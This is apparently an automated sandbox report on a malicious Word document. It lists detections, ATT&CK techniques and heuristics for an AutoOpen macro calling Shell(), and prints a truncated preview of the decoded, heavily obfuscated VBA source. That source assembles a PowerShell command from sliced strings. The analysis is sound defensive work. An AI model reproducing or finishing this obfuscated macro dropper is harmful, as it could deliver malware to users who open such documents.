MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers a Shell() call, which is highly indicative of malicious intent. The script attempts to construct and execute a PowerShell command, likely to download and run a second-stage payload. The ClamAV detection name further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Malware.Valyria-7164735-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-7164735-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://me6EQddu2Ko In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 157524 bytes |
SHA-256: a8534d081144379ad553bc36a4bb7ddefcd8fbe28ce68cd05f675ffbdeb5c70c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "mfbzzHzQn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ZoJGuSDXL()
On Error Resume Next
wOiTwkh = (jnNziCG - CDbl(661607) + BcDbMXnOVRn + Fix(KVSOitCW / CLng(26661 * Sqr(vjRiR))) - 220471 / Sin(jsNdwbBXX - SFYbTwjwF - 660043 + CLng(NUwSk)) * 353135 * Fix(661607))
lmlVqfNYrG = "Sp8Yebhx4iFdR( xb4ll ((' . 41nXowershei7XbBGRAsxCU6LbuZlT"
dqMiO = Left(Right(lmlVqfNYrG, 26), 7) + CStr(Left(Right(lmlVqfNYrG, 39), 9)) + CStr(Left(Right(lmlVqfNYrG, 44), 3))
fkzDlNhWt = "W6gUJlzJqBHvErbosePTPFf2rPjfUpgIiNMgZx6vT4aEO7HmKcQo5U0GreFeReNce.tosTRt9r0KfQdk7"
VPYjkVcDlQJ = CStr(Left(Right(fkzDlNhWt, 72), 10)) + Left(Right(fkzDlNhWt, 25), 15) + CStr(Left(Right(fkzDlNhWt, 49), 2))
fDLjjk = "4sg()[1,3]zJqAyUcaqEqFnT"
fsCFiU = Left(Right(fDLjjk, 22), 3) + Left(Right(fDLjjk, 19), 5)
wErsM = Chr(43)
kuMDApbiLP = "xPW6ELXlzJqAyUcaqEqFn6EL-J'Pjf"
sZPwaRVOF = Left(Right(kuMDApbiLP, 27), 4) + CStr(Left(Right(kuMDApbiLP, 9), 6))
HnTREWIUo = Chr(43)
zjlGcf = "W6gUJl'Oin6ELaqEqFnT'Ff2rPjfUpgIAFMg6EL) (((67HmKcQ"
NRzBXH = CStr(Left(Right(zjlGcf, 45), 7)) + Left(Right(zjlGcf, 15), 9) + Left(Right(zjlGcf, 31), 1)
cStiXLwrwM = Chr(43)
XJtwKZ = "W6gU'ELLJAyUcaqLqFnTPFf2rPjSnsad6EMgZx6"
KznwZ = CStr(Left(Right(XJtwKZ, 35), 5)) + Left(Right(XJtwKZ, 12), 7) + Left(Right(XJtwKZ, 24), 1)
LGjbWZIJBJp = (OrqGFrof - CDbl(305804) + zHTKZRWwhr + Fix(uBNCLqtd / CLng(62308 * Sqr(QtMOcHijIT))) - 949809 / Sin(kNENwPRw - mLUSPd - 501235 + CLng(dovOzL)) * 911501 * Fix(305804))
GiaPMAfsNww = Chr(43)
fvdoYUs = "xPW6ELalzJqAyUcaqEqsd ='f2r"
WXMPinbwQv = Left(Right(fvdoYUs, 24), 4) + CStr(Left(Right(fvdoYUs, 8), 5))
zQSpXPLuZf = Chr(43)
jzOJiVH = "xPW' &(lzJqAyUcaqEqFnHZp6ELPjf"
LhLjb = Left(Right(jzOJiVH, 27), 4) + CStr(Left(Right(jzOJiVH, 9), 6))
kFUunApoV = Chr(43)
iDBMsN = (bvMQdB - CDbl(114388) + zzjTP + Fix(AtlhhXdc / CLng(313900 * Sqr(qQrWcqO))) - 551279 / Sin(BMCRjs - iPJEfC - 211908 + CLng(DtsKkSTf)) * 764557 * Fix(114388))
PvRFHDa = "xP6ELUJlzJqAyUcnHZpFn"
mnMSHkiil = Left(Right(PvRFHDa, 19), 3) + Left(Right(PvRFHDa, 6), 4)
zdncFOVD = Chr(43)
aAOtbjJ = "xH66gUJlELqA"
AvnopijkU = CStr(Left(Right(aAOtbjJ, 11), 2)) + Left(Right(aAOtbjJ, 4), 2)
JqEJc = Chr(43)
lolcrwn = "xPW6ELZlzJqAyUcaqEqFnpeH6ELPjf"
woQiuv = Left(Right(lolcrwn, 27), 4) + CStr(Left(Right(lolcrwn, 9), 6))
ankEw = Chr(43)
KRJZFZk = (sMBEd - CDbl(400853) + DWwoOijuM + Fix(QfDuiYwCpko / CLng(538850 * Sqr(ofPCpXq))) - 494470 / Sin(zSGtvqjmWQ - QFLJaWpWTO - 541909 + CLng(PtsohTZMpJD)) * 667841 * Fix(400853))
vDsnlhtKK = "46ELZpgUJlzJqAy"
zhBHwz = Left(Right(vDsnlhtKK, 14), 2) + CStr(Left(Right(vDsnlhtKK, 12), 3))
LYwRiQp = Chr(43)
nZNTFRmE = "xPHZpUJlzJqAyUcw6ELFn"
iQfiTHis = Left(Right(nZNTFRmE, 19), 3) + Left(Right(nZNTFRmE, 6), 4)
nfzZlTihEli = Chr(43)
iAcFWbf = "4s6EL-o6ELzJqAyUcaqEqFnT"
zfoAtUPo = Left(Right(iAcFWbf, 22), 3) + Left(Right(iAcFWbf, 19), 5)
oUDFiN = Chr(43)
TSMVf = "xP6ELUJlzJqAyUcb6ELFn"
rYCPoEURz = Left(Right(TSMVf, 19), 3) + Left(Right(TSMVf, 6), 4)
ZEQkdiKwhk = Chr(43)
LWABuKXiKpt = (BcqNwP - CDbl(750670) + jWUGFYXwQvz + Fix(vJnYVdYsIjE / CLng(371613 * Sqr(VAJAdIbhTT))) - 88993 / Sin(XqPuc - MGiNtzAN - 658990 + CLng(VjZWn)) * 985707 * Fix(750670))
nPjzQZJc = "xP6ELUJlzJqAyUcj6ELFn"
uflAo = Left(Right(nPjzQZJc, 19), 3) + Left(Right(nPjzQZJc, 6), 4)
wWrtpzkb = Chr(43)
bSXZLi = "4s6ELecHZpzJqAyUcaqEqFnT"
GhBREHaDH = Left(Right(bSXZLi, 22), 3) + Left(Right(bSXZLi, 19), 5)
VlZGYCHjkkP = Chr(43)
QDQhPF = "xPHZpUJlzJqAyUct6ELFn"
WUdYQ = Left(Right(QDQhPF, 19), 3) + Left(Right(QDQhPF, 6), 4)
XHdBPBT = Chr(43)
FjHbEiRi = "xP6ELUJlzJqAyUcHZp'Fn"
ljlzTc = Left(Right(FjHbEiRi, 19), 3) + Left(Right(FjHbEiRi, 6), 4)
BTqZPSqi = Chr(43)
XnFFrzdK = "x'66gUJlELqA"
AqUCKjn = CStr(Left(Right(XnFFrzdK, 11), 2)) + Left(Right(XnFFrzdK, 4), 2)
nzAwh = (KBYhRwFs - CDbl(619018
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.